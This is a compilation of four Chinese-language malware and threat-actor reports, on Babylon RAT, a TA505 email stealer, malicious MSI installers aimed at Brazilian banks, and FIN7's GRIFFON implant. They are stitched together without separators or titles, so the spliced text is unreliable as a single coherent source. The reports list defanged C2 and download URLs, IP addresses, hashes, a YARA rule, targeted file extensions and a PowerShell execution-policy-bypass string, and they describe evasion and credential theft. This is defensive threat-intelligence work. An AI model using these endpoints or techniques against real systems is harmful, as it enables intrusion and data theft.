摘要

Cofense Intelligence最近分析了一起传播Babylon RAT(远程管理工具)的网络钓鱼活动。Babylon RAT是一个开源工具,可以处理多种任务,如加密C2通信、逃避网络安全控制、触发拒绝服务(DOS)攻击,以及窃取受害者数据等。

细节

此起网络钓鱼活动中传播了一个名为Babylon RAT的多功能开源远程管理工具。Babylon RAT的C2通信是加密的,允许动态域,并可以将客户端转换为一个反向SOCKS代理,以便进一步混淆。这种武器化的RAT具有多种实时客户端交互方法,能够进行信息窃取,它的管理面板还具有允许跨网络端点横向传播的特性。此工具功能齐全,如果使用得当,就有破坏任何组织的潜力。

Babylon RAT的客户端代码是用C#编写的,并且依赖于.NET 4.5。管理面板(如图1所示)是用C ++编写的,它提供了管理多个服务器配置选项的功能,一个选项是端口号,当服务器启动时,管理面板将在其中打开并侦听;另一个选项是用于向管理面板验证感染的网络密钥。配置中还允许设置将要连接的IP版本。顶部的“File”下拉列表提供对了服务器、配置和payload构建器的访问。

1.jpg

图1:Babylon RAT的管理面板和管理选项卡

C2

客户端的二进制文件在执行后,创建的初始C2连接会硬编码到构建的二进制文件中。构建过程会建议使用动态域,以便可以在不中断通信的情况下更改IP地址。这种连接是经过编码的,包含有关受感染主机的指纹信息,包括IP地址、国家、用户名、PC名、操作系统(OS)细节,以及最终用户激活的程序窗口。在与C2进行初始通信之后,受感染的端点默认情况下将每5秒更新一次管理面板。从客户机发送到服务器的检入通知是由非常小的网络包组成,只有大约4-8字节大小。图2显示的管理面板中了列出了上述的信息。

2.jpg

图2:上面列出的Babylon RAT的管理面板和指纹信息

Babylon RAT能够将受感染的计算机转换为SOCKS代理,在版本4或5之间进行指定。版本的主要区别在于:版本5提供了从客户端到代理的身份验证,这有助于抵消来自第三方的滥用。通过SOCKS代理,威胁行为者可以创建一个加密隧道,让所有受感染的主机将其用作网关,从而进行网络捕获,并且威胁行为者仅需网络中的一个出口点,就能同时保持多个机器的感染。这意味着,如果一个威胁行为者可以与网络中的一个端点保持通信,那么他就可以横向传播,并使来自受感染客户机的C2网络的所有流量返回到这个端点。通过访问命令提示符和窃取的凭证,这将是非常简单的。这种技术还可以绕过不必要二进制文件的电子邮件和URL过滤。图3显示了SOCKS代理端点的详细信息和流经它的通信量。

3.jpg

图3:SOCKS代理选项卡和相关信息

客户端构建器提供了使用两个不同C2域以实现冗余的选项。 代理服务器结合使用将多个动态域与时,威胁行为者可以通过多个通道有效地在端点和客户端之间创建混淆的流量层。

4.jpg

图4:可用的监视选项

请注意图4中的密码恢复选项。密码恢复模块通过查看应用程序(包括Web浏览器)来获取凭证,但不收集OS用户凭证。不过可以猜测,使用上面的用户名和获取的几个密码,OS用户凭证也可能会受到损害。如果OS用户凭证受到损害,操作人员很容易打开远程命令提示符,并使用这些凭证登录到网络中的其他机器。如果成功登录到另一台机器,那么操作人员就可以让第二台机器下载/执行另一个有效负载。上述步骤需要自动化实现,但它确实反映了RAT的传播方法。图5显示了系统选项,包括远程命令提示符选项。

5.jpg

图5:允许进一步与受感染系统交互的系统选项

武器化

除了一系列功能之外,Babylon RAT还能够对受感染主机的目标产生拒绝服务(DoS)攻击。DoS特征可以设置为主机名或IP范围,并允许启动多个协议。协议都具有可调整的线程和套接字参数。威胁行为者可以选择让攻击来自单个协议或所有可用协议,将此命令发送到单个主机后,可以轻松地将命令复制到其他受感染的主机,从而有效地创建更大的分布式拒绝服务(DDoS)攻击。 图6显示了DoS攻击的配置,图7显示了将机器状态更改为DoS。

6.jpg

图6:DoS攻击可用的参数

 7.jpg

图7:管理面板和执行DDoS攻击的多个受感染主机

总结

Babylon RAT是一个开源平台,允许参与者构建各种威胁行为。加密流量和创建SOCKS代理的功能可以帮助犯罪分子逃避网络安全措施。客户端构建器则绕过病毒检测,有助于二进制文件安全地到达端点。允许网络传播的过程意味着感染不限于一个端点。结合执行DoS攻击的能力,Babylon RAT可以在适当的环境中高效运行。通过适当的技术,教育用户识别并报告可疑电子邮件,可以尽量避免Babylon RAT活动。

简介

Yoroi安全实验室发现,已有越来越多的证据在表明针对银行业的攻击行为正在加剧。许多安全研究人员在也指出过,利用电子邮件作为攻击载体的金融盗窃行动可能与黑客组织TA505有关,TA505自2014年以来一直活跃,其攻击目标主要针对零售业和银行业公司。该组织所使用的逃避技术随着时间的推移在不断发展进化,能越过某些企业的安全防御机制,渗入企业内部,例如滥用LOLBins或合法程序,以及经过加密签名payload。

1.png

图1.野外发现的攻击行动。

我们在4月至5月间调查并跟踪了TA505,在受害者计算机上,我们检测到了一个有趣的工具。就在恶意文件打开、FlawedAmmy RAT植入程序安装后不久,出现了一种特殊的证书窃取软件,该组件能揭示TA505近期行动的细节。

2.png

图2.野外发现的攻击行动。

技术分析

分析样本是从“bullettruth[.com/out[.exe”下载的,它在感染发生后被执行到受害者机器中。

t1.jpg

3.png

图3:由SLON LTD签名的恶意软件

首先,我们注意到这个次级组件被很好地保护起来,能免受反病毒检测,而PE文件是由Sectigo在5月上旬签署的,Sectigo是俄罗斯主要的认证机构之一。通过分析信任链,我们发现攻击者依赖于向一家名为SLON LTD.的英国公司发布的加密密钥。目前,我们还没有证据表明该公司是之前黑客攻击的受害者。

无论如何,对二进制文件的静态检查显示,恶意软件的熵水平相当高,表明它可能被加壳了。

4.png

图4:恶意软件熵的级别显得可疑

动态执行恶意软件揭示了更多信息。该恶意可执行文件实质上是电子邮件窃取程序,唯一的目的是检索受害者计算机内存在的所有电子邮件和密码帐户。执行信息收集例程后,恶意软件会向其C2发送所有检索到的电子邮件和密码:

5.png

图5:HTTP POST通信

与C2通信的过程没有进程加密,收集的数据以JSON格式发送到C2。 调查攻击者基础设施,我们能看到窃取的电子邮件的信息。

为了检索有关此电子邮件窃取程序的更多详细信息,我们接着进行调试和反汇编。调试器中执行恶意软件后,能提取恶意软件的解压缩后的payload。

6.png

图6:加壳样本(左侧)和解壳样本(右侧)的静态信息

如上图所示,我们注意到这两个组件间的差异性:加壳样本是在Microsoft Visual C ++ 6.0版中编译的,解压缩后的样本显示是在Microsoft Visual C ++版本8中编译的。提取的payload无法执行,因为它总是引用原始内存的许多内存地址。因此,我们对提取的样本进行静态分析。

如前所述,恶意软件的主要目的是遍历文件系统以查找电子邮件帐户。第一步是检查“outlook.exe”进程是否正在运行并将其终止。恶意软件使用Process32FirstW API遍历用户进程,然后使用TerminateProcess终止进程。

7.png

图7:搜索Outlook进程

所提取的payload代码是未经混淆的,C2服务器和路径也没有进行编码:

8.png

图8:C2连接例程

最后分析的是整个文件系统内的凭证收集过程。

除了常规搜索在Outlook和Thunderbird客户端中注册的电子邮件帐户(如图7所示)之外,还有另一个查找硬编码扩展名的扫描文件系统,如果找到其中一个,则引用找到的文件并保存在%TEMP%目录中。此时,所有收集的电子邮件帐户都会被发送到服务器,然后恶意软件会创建一个简单的批处理脚本,从受感染的计算机中删除自身的所有痕迹。

 9.png

图9:自动删除批处理脚本

外泄邮件分析

下图显示了我们收集到的电子邮件的一些统计数据,按被盗数据中出现频率最高的TLD排序。

10.png

图10:TLD的分布

如上图所示,最常见的TLD是.com,发生次数为193194次,其中.kr发生次数为102025次,.cn发生次数为26160次,it发生次数为6.317次,依此类推。为了更好地可视化这一曝光所涉及的宏观位置,我们建立了一个热图,显示了顶级域名中引用的前100个国家的地理分布。

 11.png

图11:电子邮件TLD暴露的地理位置

热图显示,受影响较小的国家呈绿色,相反,受影响最严重的国家往往呈橙色或略带红色。从这两种分布中首先出现的是,这种特定的威胁似乎没有针对性,事实上,扩散几乎是全球性的,在英国、意大利、韩国、中国、德国、匈牙利、台湾、日本、印度和墨西哥呈现一些红色或橙色区域,所有这些国家都超过了一千次。

结论

如今,电子邮件帐户是网络罪犯的有效收入来源。实际上,所有这些信息都可用于通过网络钓鱼活动传播其他恶意软件,执行BEC攻击(商业电子邮件攻击)以及凭证填充攻击。

像这样一个窃取信息的恶意软件,虽然简单却可能带来破坏性的影响,特别是如果被有组织的团体与其他恶意软件植入一起使用时。事实上,正如德国独立研究人员Fernandez Bacian所报道的那样,这个电子邮件窃取器最近被TA505所使用,暴露的数据、截获的电子邮件帐户以及电子邮件联系人,在未来都有可能被运用到更进一步的攻击行动中。

IoC

Dropurl:

· bullettruth[.com/out[.exe

C2:

· nettubex[.top/es/es[.php

· 178.48.154.38

· 5.253.53.236

· 87.241.136.1

· 197.255.225.249

· 95.140.195.178

· 186.74.208.84

· 86.61.75.99

· 86.101.230.109

· 89.47.94.113

· 130.204.181.90

· 78.90.243.124

Hash:

· 104dae7457c10b7fe6c42a335f2a57ff708ff20d70597fbaa5fe0083c1c628c7

· e4b40cba02dc1de1a1c2ed2001d39a87c476c11ca08f09a80fd3f1fbaae0daeb

· f3e8f68c31c86d431adea1633c875c32434a42aee5ed70af74af5c5e5aa58883

· 899bfac53c3439a7ea68f9a5bbff2733ebf7b9158f18ef5d03360a09b18b5e0d

Yara Rules

import "pe"
rule EmailStealer_201905 {
meta:
description = "Yara rule for EmailStealer"
author = "Cybaze - Yoroi ZLab"
last_updated = "2019-05-14"
tlp = "white"
category = "informational"
strings:
$a1 = { 80 F2 F3 00 56 53 A7 }
$a2 = { 4D 26 9A 00 56 4B AC 55 }
$a3 = { 1C 4A 77 00 00 89 B4 B7 }
 
 
condition:
uint16(0) == 0x5A4D and pe.number_of_sections == 3 and all of them
}

查找拓展名

.msf; .dat; .pst; .ost; .asp; .cdd; .cpp; .doc; .docm; .docx; .dot; .dotm; .dotx; .epub; .fb2; .gpx; .ibooks; .indd; .kdc; .key; .kml; .mdb; .mdf; .mobi; .mso; .ods; .odt; .one; .oxps; .pages; .pdf; .pkg; .pl; .pot; .potm; .potx; .pps; .ppsm; .ppsx; .ppt; .pptm; .pptx; .ps; .pub; .rtf; .sdf; .sgml; .sldm; .snb; .wpd; .wps; .xar; .xlr; .xls; .xlsb; .xlsm; .xlsx; .xlt; .xltm; .xltx; .xps; .3dm; .aspx; .cer; .cfm; .chm; .crdownload; .csr; .css; .download; .eml; .flv; .htaccess; .htm; .html; .jnlp; .js; .jsp; .magnet; .mht; .mhtm; .mhtml; .msg; .php; .prf; .rss; .srt; .stl; .swf; .torrent; .url; .vcf; .webarchive; .webloc; .xhtml; .xul; .asf; .asm; .cgi; .class; .cs; .dtd; .fla; .ged; .gv; .icl; .java; .jse; .json; .lua; .mb; .mod; .msp; .obj; .po; .ps1; .py; .sh; .sln; .so; .sql; .ts; .vbe; .vbs; .vc4; .vcproj; .vcxproj; .wsc; .xcodeproj; .xsd; .apt; .err; .log; .pwi; .sub; .ttf; .tex; .text; .txt; .accdb; .b2; .crypt; .crypt5; .crypt6; .crypt7; .crypt8; .crypt12; .db; .dbf; .dbx; .sis; .awb; .bin; .cdi; .cdr; .csv; .eap; .efx; .gam; .gbr; .gtp; .mpp; .msc; .mts; .otf; .nbk; .nbp; .ndb; .prj; .rtp; .sav; .scppy; .tax2010; .tbl; .tmp; .vcd; .xml; .xsl; .xslt; .bak; .dmp; .gho; .ghs; .v2i; .zip; .asx; .iff; .inf; .temp; .ai; .aif; .amr; .apk; .bp1; .ccd; .cdw; .dds; .dmg; .dxf; .ext; .ics; .ini; .m4p; .max; .md0; .mng; .mp3; .mpa; .msu; .nrg; .pak; .part; .pkpass; .psd; .rnd; .rom; .spl; .swb; .svg; .xla; .application; .appref; .cfg; .conf; .config; .cpl; .cue; .deskthemepack; .diagcfg; .ds_store; .iso; .pdi; .plist; .reg; .scr; .theme; .themepack; .thm

Windows Installer使用Microsoft Software Installation (MSI)包文件来安装程序,每个包文件都有一个关系型数据库,其中包含安装或删除程序所需的指令和数据。

趋势科技最近发现了一些恶意MSI文件,它们能绕过传统的安全解决方案,下载并执行其它文件。恶意行为者可以滥用这些文件中的自定义操作来执行恶意脚本,植入恶意软件,并能定位用户电脑中金融应用程序所在位置。

分析恶意MSI文件

我们在几个恶意.msi文件样本中发现了JScript / VBScript脚本,但脚本文件并不完整,部分代码似乎被截断并放在了文件的其他部分,并且脚本没有直接调用wscript.exe来运行,因为安装程序msiec .exe本身就带有解释器。

1.png

图1..MSI文件中包含的可能被截断的JavaScript脚本

我们使用了Orca MSI Editor工具,它允许用户查看和编辑数据库文件表,进而了解文件传送的方式和位置,我们可在CustomAction表中查找相关问题脚本。CustomAction表允许用户将自定义代码和数据集成到安装中,代码源可以是来自特定数据库、已安装文件或现有可执行文件流。该表列出了各种信息,如操作、类型、源、目标和扩展类型。

2.jpg

图2.Orca MSI Editor:包含JavaScript的CustomAction

恶意JS代码(由趋势科技检测为Trojan.JS.MSAIHA.A)通过访问下列地址hxxps[:]//s3-eu-west-1[.]amazonaws[.]com/{random characters}/image2[.]png来下载文件。下载的文件或创建的.txt文件将存储在以下任一文件夹中:

· %User Startup%\

· %User Profile%\Saved Games

· %User Profile%\Contacts

· %User Profile%\Links

· %User Profile%\Music

下载文件(.exe,.msi或来自zip的转储文件)的文件名为jesus或dump,而对于创建的.txt文件,文件名则在desktop.txt,desktop和desktop.ini之间变换。

文件%Application Data%/ {yyyyMM} .ini是感染标记,如果有它,则恶意软件将不会继续其例程。恶意软件还会下载一个加密的.zip文件,然后使用带有硬编码0x29的XOR对其进行解密。

3.png

图3.保存在Microsoft文件夹中的.zip文件的内容

4.png

图4.执行context_snapshot.exe的木马

这个.zip文件里有常规文件,如iLua.inf,msvcr120.dll和msvcp120.dll;也有由Avira(小红伞,由德国的Avira公司所开发的杀毒软件)数字签名的文件;还有 AutoIt相关文件和加密的动态链接库(DLL)。该木马通过AutoIt(一个使用类似BASIC脚本语言的免费软件,设计用于Windows GUI中进行自动化操作)来解密加密的DLL并执行context_snapshot.exe来注入其自身的DLL,并能成伪装合法的进程。

此处的AutoIt脚本(图3中的v8_context_snapshot.src,趋势科技检测为Trojan.AutoIt.AUTINJECT.AA)受密码保护,因此我们通过一个修改过的myAut2Exe(一个用于密码猜测、生成路径名以及其他信息的工具)对其解码。

5.jpg

图5.v8_context_snapshot.src的日志输出

6.png

图6.将 Avira可执行文件注入到加密的DLL之中

该木马使用解密后的AutoIt脚本进行注入操作,此AutoIt脚本我们在网上也发现过类似的,攻击者将其修改成了适合自己使用的版本。此外,AutoIt脚本还附加了一个DLL,随后会加载到内存中,这么做的目的是为了执行数字签名的Avira文件(context_snapshot.exe),然后在Avira可执行文件的进程中注入加密的DLL (Jlib.dll),并将其作为合法进程传递。

在我们与Avira公司阐述了研究结果后,Avira回应道:

我们的首要任务是保护我们的用户,因此我们立即检测了产品中所有文件以及外部链接。恶意软件为了能够在合法进程的上下文中执行恶意代码并绕过安全解决方案,利用了我们的一个Avira可执行程序,在常规安装的上下文中注入恶意代码。不过只有在用户机器上未启用Avira保护时,此项步骤才能执行成功,否则是不会允许任何第三方进程或组件修改/注入进程的。在过去,我们并没有收到过类似的报告。这一问题目前正在调查中,因此我们将在未来几天提供更多信息。

其他与Trojan.PS1.MSAIHA.A相关的样本也可以重启目标计算机并使用Dropbox链接下载上述.zip文件。有些恶意样本甚至会检查以下文件夹名称是否存在,如果存在,则继续程序:

· %AppDataLocal%\ Aplicativo Itau(与巴西银行有关)

· %Program Files%\ AppBrad(与巴西的银行和金融服务公司有关)

· %ProgramFiles%\ Diebold \ Warsaw(与金融和零售技术公司有关)

7.png

图7.伪装成Adobe Acrobat Reader DC弹出窗口

恶意MSI文件另一个值得注意的地方是它们会伪装成合法应用,如图7所示的Adobe Acrobat Reader DC,会将用户重定向到网站www[.]adobe[.]com/br/(域名位于葡萄牙)。

8.png

图8.MSI文件将用户重定向到此站点

9.jpg

图9.从恶意URL下载的垃圾邮件包含了一个.zip文件

电子邮件由葡萄牙语书写,内容简明扼要,并要求收件人紧急处理附件文件。附件是一个标题为“Fatur432952-532-674.zip”的.zip文件,下载地址是一个恶意链接,如下图框线中所示,其中地址里的“image2.png”是下载附件时的存档。

10.jpg

图10.下载存档的脚本

存档文件包含dump.msi(检测为Trojan.JS.MSAIHA.A),dump.exe(检测为TrojanSpy.Win32.CASBANEIRO.XLB)和ssleay64.dll(检测为TrojanSpy.Win32.CASBANEIRO.XLB)。

11.jpg

图11.垃圾邮件中MSI文件的感染流程

恶意payload通过检查hxxps[:]//www[.]localizaip[.]com[.]br/api/iplocation[.]php中的国家代码来将攻击目标锁定在巴西和葡萄牙,具体来说可能与银行和金融等方面信息有关,甚至可能会记录用户的输入信息。

12.jpg

图12.执行dump.exe例程的流程图

以下是一些解密字符串在回调函数中创建的窗口:

· AMARELO_PASS_6

· AMARELO_PASS_8

· AMARELO_PASS_CERT

· AMARELO_QR

· AMARELO_CERT_SIMPLES

· AMARELO_PASS_SIMPLES

· AMARELO_PASS_QR

· SICREDI_ASS

· SICREDO_TOKEN_FISICO

· SICREDO_TOKEN_MOB

· SICREDO_PASS_QR

· SANTA_ASSI_ELECTRO

· SANTA_TOKEN

· SANTA_N_SERIE

· SANTA_PASS_QR

· SANTA_POS_TABELA

· CEF_ASS_NUMERO

· CEF_ASS_NUMER0_LETRAS

· CEF_PASS_QR

· NORD_POS_CARTAO

· NORD_PASS_QR

· BANESTER_CERTIFICADO

· BANESTES_COD_ACCESSOBANESTES_PASS_QR

· BANRI_SENHA

· BANRI_SENHA_TECLADO

· SAFRA_TOKEN_MOB

· SAFRA_TOKEN_DISPLAY

· SAFRA_SENHA_TECLADO

· SAFRA_PASS_QR

· DESCO_POS_TABELA

· DESCO_CERT

· DESCO_TOKEN_6

· DESCO_TOKEN_8

· DESCO_PASS_QR

· DESCO_CEL_VISOR

· DESCO_PISCA

· BRB_CODIGO

· BRB_SENHA_TECLADO

· BRB_PASS_QR

· ITA_DATA

· ITA_SENH6

· ITA_TOKAPP

· ITA_TOKCELL

· ITA_QR

滥用MSI中的自定义操作

执行安装时,除了标准的内置操作之外,有时开发人员可能需要编写自定义操作。微软列举了下列可能需要自定义操作的场景:

· 在安装过程中,必须启动安装在用户机器上或与应用程序一起安装的可执行文件。

· 在安装过程中必须调用DLL中定义的特殊函数。

· 在安装过程中必须使用用编程语言Microsoft Visual Basic Scripting Edition或Microsoft JScript文字脚本文本编写的函数。

· 有些操作必须在安装脚本执行后才能执行。

· 时间和进度信息必须添加到ProgressBar控件和TimeRemaining文本控件中。

考虑到上述情况,对于攻击者来说,滥用第一和第二种的情况是不太可能的。

13.png

图13.Orca MSI Editor:CustomAction中包含了VBScript

在检查了另一个包含VBScript的样本(参见图13)之后,我们可以推断恶意软件创建者使用的是Advanced Installer(安装包制作工具)来构建样本的,因为该样本需要第三方库(如powershellscriptlauncher.dll)来运行PowerShell脚本,进而查看日志和进程。

14.jpg

图14.包含其他自定义操作的Advanced Installer

我们能够添加或修改样本中的自定义操作,例如在JS,VBS和PowerShell脚本之间选择执行,或者使用Advanced Installer来加载库。此举可能有助于恶意行为者滥用其功能,比如他们就可以轻松修改正常的MSI包并在其中插入恶意脚本。

15.jpg

图15.指示现有和新创建的PowerShell脚本的自定义操作

16.jpg

图16.添加一个新的自定义操作来运行PowerShell脚本

目前,恶意软件下载的档案中包含了多组(DLL side-loading)恶意软件。

缓解和解决方案

我们注意到,恶意行为者滥用MSI包最常见的目的通常为了安装不需要的应用程序(PUAs),而不一定是为了植入恶意软件。而使用MSI包和自定义操作的恶意软件安装则是另一种需要警惕的机制,因为它可能会绕过传统安全软件的检测方法。

在本例中,恶意行为者可能正在测试不同的传播方法,而根据垃圾邮件中的语言、重定向的站点以及在分析过程中遇到的文件夹路径,我们都可以判定攻击者的重点目标放在了巴西和葡萄牙上。想要防范此类攻击,首先我们建议用户避免安装未知文件和访问未知链接,这些链接可能会重定向到下载恶意文件的站点。用户还可以通过使用最新的安全补丁更新系统,或者使用能够抵御攻击的解决方案来阻止此类攻击。

2018年8月1日,美国司法部宣布逮捕了几名涉嫌与FIN7网络犯罪组织相关的嫌疑人。 FIN7从2015年起开始运营,曾针对数百家公司开展过入侵行动,FIN7的幕后策划者还通过开办假公司,雇佣远程测试人员、开发人员和翻译人员参与他们的恶意业务。其恶意活动的主要目的是窃取公司的金融资产(如借记卡),或取得财务部门的电脑权限和金融数据,进而盗取公司资金。

在2018年至2019年期间,卡巴斯基实验室分析了以往与FIN7相同TTPs(战术、技术和过程)的各类行动,得出的结论让研究人员确信:虽然FIN7的相关行为人已被逮捕,但并不意味着FIN7活动的终结。此外,在调查过程中,我们发现了某(些)恶意组织似乎复制了FIN7的套路。

最近的FIN7活动

去年一整年,FIN7把精力都集中在了鱼叉式钓鱼活动上,FIN7的钓鱼活动往往具有高针对性,在多起案例中我们看到,FIN7在发送恶意文件前会与受害者交换数周的信息。2018年,FIN7光是在钓鱼活动中使用的一个域名就包含130多个电子邮件别名,说明应该是有超过130家公司成为了他们的攻击目标。

恶意文件

我们已经看到两种类型的钓鱼文件。第一种利用Microsoft Word的INCLUDEPICTURE功能获取有关受害者计算机的上下文信息、Microsoft Word的可用性和版本号。第二种在多数情况下是设置了简单密码的Office文档(例如“12345”,“1234”等),利用宏在目标计算机上植入GRIFFON,宏也会调度任务以使GRIFFON持久化。

并且,FIN7还会利用公开发表的、关于其他恶意组织攻击手段的一些研究报告,来改进他们的手法。比如FIN7可能就参考了Cobalt组织(一个专门破坏网络金融机构和银行的威胁阻止)ThreadKit工具,来开发他们的恶意Office文档构建器,在2018年夏季他们曾使用过这个工具。新的构建器能在Author和Company元数据字段中插入随机值,还能让攻击者修改威胁指标,例如wscript.exe或sctasks.exe副本的文件名等。

t1.jpg

表1.从使用sctasks实现GRIFFON持久性的文档中提取威胁指标

t2.jpg

表2.从与GRIFFON相关的常规文档中提取的威胁指标

GRIFFON植入

1.png图1.Griffon恶意软件攻击模式

GRIFFON是一种轻量级、校验器样式的JScript,没有任何持久性机制。它是为接收模块而设计的,这些模块将在内存中执行,并将结果发送到C2。在调查过程中,我们得到了四个不同的模块。

侦察模块

GRIFFON恶意软件下载到受害者计算机的第一个模块是用于信息收集的JScript,能让攻击者了解受感染工作站的上下文。该模块主要依靠WMI和Windows对象来传递结果,并将结果发送回攻击者。在侦察阶段,该模块会从系统中检索了20多个部分,从操作系统安装的日期时间、到Windows域中的成员关系、再到工作站监视器的列表和分辨率等。

Meterpreter下载器

攻击者使用第二个模块来执行一个混淆的PowerShell脚本,该脚本包含一个被称为“Tinymet”的Meterpreter下载器。在过去的FIN7活动中我们也看到过这个下载器,它会下载一个单字节、经过异或加密的meterpreter shellcode来执行。

截图模块

第三个模块允许攻击者截取远程系统的屏幕截图。为此,它将PowerShell脚本放到工作站上去执行,该脚本会执行用于截取屏幕截图的开源.NET类。生成的屏幕截图保存在“%TMP%/image.png”,由GRIFFON发送回攻击者后自行删除。

持久性模块

最后检索到的模块是一个持久性模块。如果受害者对攻击者有价值,GRIFFON植入安装程序就会被推送到受害者的工作站。此模块将GRIFFON植入的另一个实例存储在注册表中以实现持久性,这是一种PowerLinks样式的方法,用于在每个用户登录时实现持久性并执行GRIFFON植入。新的GRIFFON在每次执行之前都被写入硬盘驱动器,从而做到了“无文件”感染。

GRIFFON不仅体量轻,而且结构也是模块化的,堪称完美的校验器。尽管我们已经检索出四个不同的模块,但FIN7可能在他们的工具集中有更多的模块来实现他们在受害者工作站上的目标。

寻找GRIFFON基础设施

攻击者往往都会露出蛛丝马迹,FIN7也不例外。去年,操作人员犯的一个主要错误使我们能够跟踪GRIFFON植入的命令和控制服务器。为了欺骗蓝队和其他DFIR分析师,FIN7在他们的C2s服务器上创建了假的HTTP 302重定向到各种Google服务。

HTTP/1.1 302 Found
Server: nginx
Date: [retracted]
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Location: https://cloud.google.com/cdn/

上述代码说明,在端口443上会返回大多数GRIFFON C2s服务器的标头。

这个错误让我们可以一周周地跟踪FIN7的基础设施,直到2018年12月底,有人在Twitter上推出了跟踪C2的启发式算法。在这条推文发布几天后,也就是2019年1月,FIN7就立刻改变了登陆页面以防跟踪。

假冒的渗透测试公司

在与GRIFFON基础设施相关的调查过程中,我们发现GRIFFON C2的WHOIS旧记录与假公司网站之间存在奇怪的重叠。

据该网站称,该域名属于某个“俄罗斯政府全资拥有”的合法安全公司,并在“莫斯科,圣彼得堡和叶卡捷琳堡”设有办事处,但地址却显示该公司位于纽约的特朗普大厦。鉴于FIN7之前也有假冒证券公司的经历,我们决定再次深入挖掘。

当我们查看网站的内容时,明显能看出几乎所有使用的文本都是从合法的安全公司网站中提取的。短语和句子从以下公司网站中复制粘贴:

DKSec – www.dksec.com
OKIOK – www.okiok.com/services/tailored-solutions
MainNerve – www.mainnerve.com
Datics – www.datatics.com/cyber-security
Perspective Risk – www.perspectiverisk.com
Synack – https://www.synack.com/company
FireEye – https://www.fireeye.com/services/penetration-testing.html

看上去FIN7在利用这家公司招聘新人翻译、开发人员和测试人员。我们在招聘网站上也发现了该公司的各类招聘广告。

除此之外,该公司工作人员的简历中,大多都有提到在该公司工作的经历,其中一些人可能甚至不知道他们是在为网络犯罪业务工作。

FIN7与其他组织的联系

在2018年年末和2019年初,我们在跟踪犯罪分子活动时,发现有些组织在TTP上与FIN7有一定相似性,虽然没有明确证据表明他们和FIN7之间有关联,但我们还是决定在本文中披露这些可能性。

CobaltGoblin / EmpireMonkey

FIN7在历史上与Cobalt/EmpireMonkey的TTP有过多次重叠。他们主要针对各大银行及金融机构。在2018年底,该组织开始使用CobaltStrike和Powershell Empire在受害者的网络上立足。成功渗透后利用后门和CobaltStrike框架、Powershell Empire组件访问受害者机密信息并获利。

FIN7的最后一次行动针对的是欧洲和中美洲的银行,时间是今年早些时候,涉嫌从马耳他的瓦莱塔银行窃取1300万欧元。

2.png

图2.FIN7于2018年底至2019年初使用的恶意文档示例

Cobalt/EmpireMonkey与最近的FIN7活动中的重叠部分:

两者都使用宏将wscript.exe复制到以“ms”开头另一个文件中(mses.exe – FIN7,msutil.exe  – EmpireMonkey)。

两者都在%TEMP%中执行名为“error”的JScript文件(FIN7-Errors.txt,EmpireMonkey-Errors.bat)。

两者都使用了带有不同宏的DocuSign诱饵文档。即使宏代码完全不同,宏也会弹出相同的“文档解密错误”错误消息。

我们认为,虽然这两个活动集群是由不同的团队运营的,但对FIN7和Cobalt之间的历史关联性有很高的信心。

AveMaria

AveMaria是一个新的僵尸网络,我们在2018年9月发现了它的第一个版本,就在FIN7成员被捕之后。我们有充分理由相信该僵尸网络属于FIN7。AveMaria是一个典型的信息窃取bot程序,可以从各种类型的软件中收集所有凭据:浏览器,电子邮件客户端,信箱等,并且可以充当键盘记录器。自2019年初以来,我们已经收集了AveMaria1300多个样本,并提取了130多个C2。

为了传播他们的恶意软件,犯罪分子使用带有各种附件的钓鱼邮件:MS Office文档或利用CVE-2017-11882等已知漏洞的电子表格文件,或者使用Ole2Link和SCT的文档。它们还使用AutoIT dropper,受密码保护的EXE文件甚至ISO映像。在一些电子邮件中,他们会让目标用户在他们有任何问题的时候给他们打电话,这点跟FIN7一样。

3.png

图3.AveMaria使用电子邮件样本

在对FIN7的调查中,我们发现FIN7和AveMaria的基础设施之间有重叠。相同IP范围内的两台服务器和AS14576(自治系统)共享一个非标准SSH端口222。其中一个服务器是Griffon C2,另一个是AveMaria C2。

4.png

目标的分布则是另一个因验证素,我们在2019年2月和3月期间分析的AveMaria样本中,鱼叉式钓鱼邮件仅发送给企业,并没有针对个人,其中30%的目标是中小型公司,多是大型企业的供应商或服务提供商,21%是各类制造公司,以及几个典型的FIN7目标,如零售商和酒店。AveMaria目标有72%都在欧盟。

5.png

CopyPaste

在2018年底遥测搜索新的FIN7活动时,我们发现了一组活动,属于一个未知的APT组织,我们暂时将之称为“CopyPaste”,活动针对的是一个非洲国家的金融实体和公司。

这组活动依赖于开源工具(如Powershell Empire)和良好的红队技术,能在受害者的网络中站稳脚跟避免被发现。

以下是CopyPaste和FIN7的主要相似之处:

两者都使用了相同的Microsoft PowerShell参数混淆顺序:“powershell.exe -NoP -NonI -ExecutionPolicy Bypass”。我们只看到FIN7和CopyPaste使用这个参数列表来执行它们的恶意Powershell脚本。

两者都在他们的C2上使用了诱饵302 HTTP重定向和域名劫持技术,这点让人联想到Cobalt和FIN7。与CopyPaste相关联的Empire C2对Digitcert和Microsoft网站进行了诱饵重定向,利用伪造的就业或税务网站来托管其payload。FIN7和Cobalt也使用了诱饵302 HTTP重定向,FIN7在2018年1月之前的GRIFFON C2s上使用了FIN7,而Cobalt在登台服务器上使用了类似CopyPaste的方式。

最近,FIN7使用域名digicert-cdn [.] com对“Digicert”品牌进行了极大误导,该域名用作GRIFFON的命令和控制服务器,并且CopyPaste还使用他们的域名digicertweb [.] com和digi-cert [.] org对真正的“Digicert”进行了域名劫持,这两个域名都被用作Powershell Empire C2,并将诱饵HTTP 302重定向到合法的Digicert网站。

CopyPaste和FIN7之间的联系并不强烈。CopyPaste的行动可能受到了公开披露的研究报告的影响,与FIN7没有任何关系。

结论

2018年,欧洲刑警组织和美国司法部宣布逮捕了FIN7和Carbanak / CobaltGoblin网络犯罪组织的领导人。虽然看似会对组织的运营产生影响,但最近的数据表明,攻击仍在持续。CobaltGoblin和FIN7其旗下运营的团体数量可能甚至有扩大的趋势。我们观察到,有几个相互关联的群体在使用非常相似的工具包和相同的基础设施来进行网络攻击。

首先是著名的FIN7,它的攻击目标集中在各类公司的财务数据或PoS基础设施上,依靠了Griffon JS的后门,以及在最近的攻击中使用的Cobalt/Meterpreter的Powershell Empire。第二类是CobaltGoblin/Carbanak/EmpireMonkey,他们使用相同的工具包、技术和类似的基础设施,但只针对金融机构和相关软件/服务提供商。

我们认为AveMaria僵尸网络与这两个群体有一定的相关性:AveMaria的目标大多是大公司的供应商,并且AveMaria管理基础设施的方式与FIN7非常相似。而最近发现的CopyPaste组织和FIN7之间的关联性并不强。

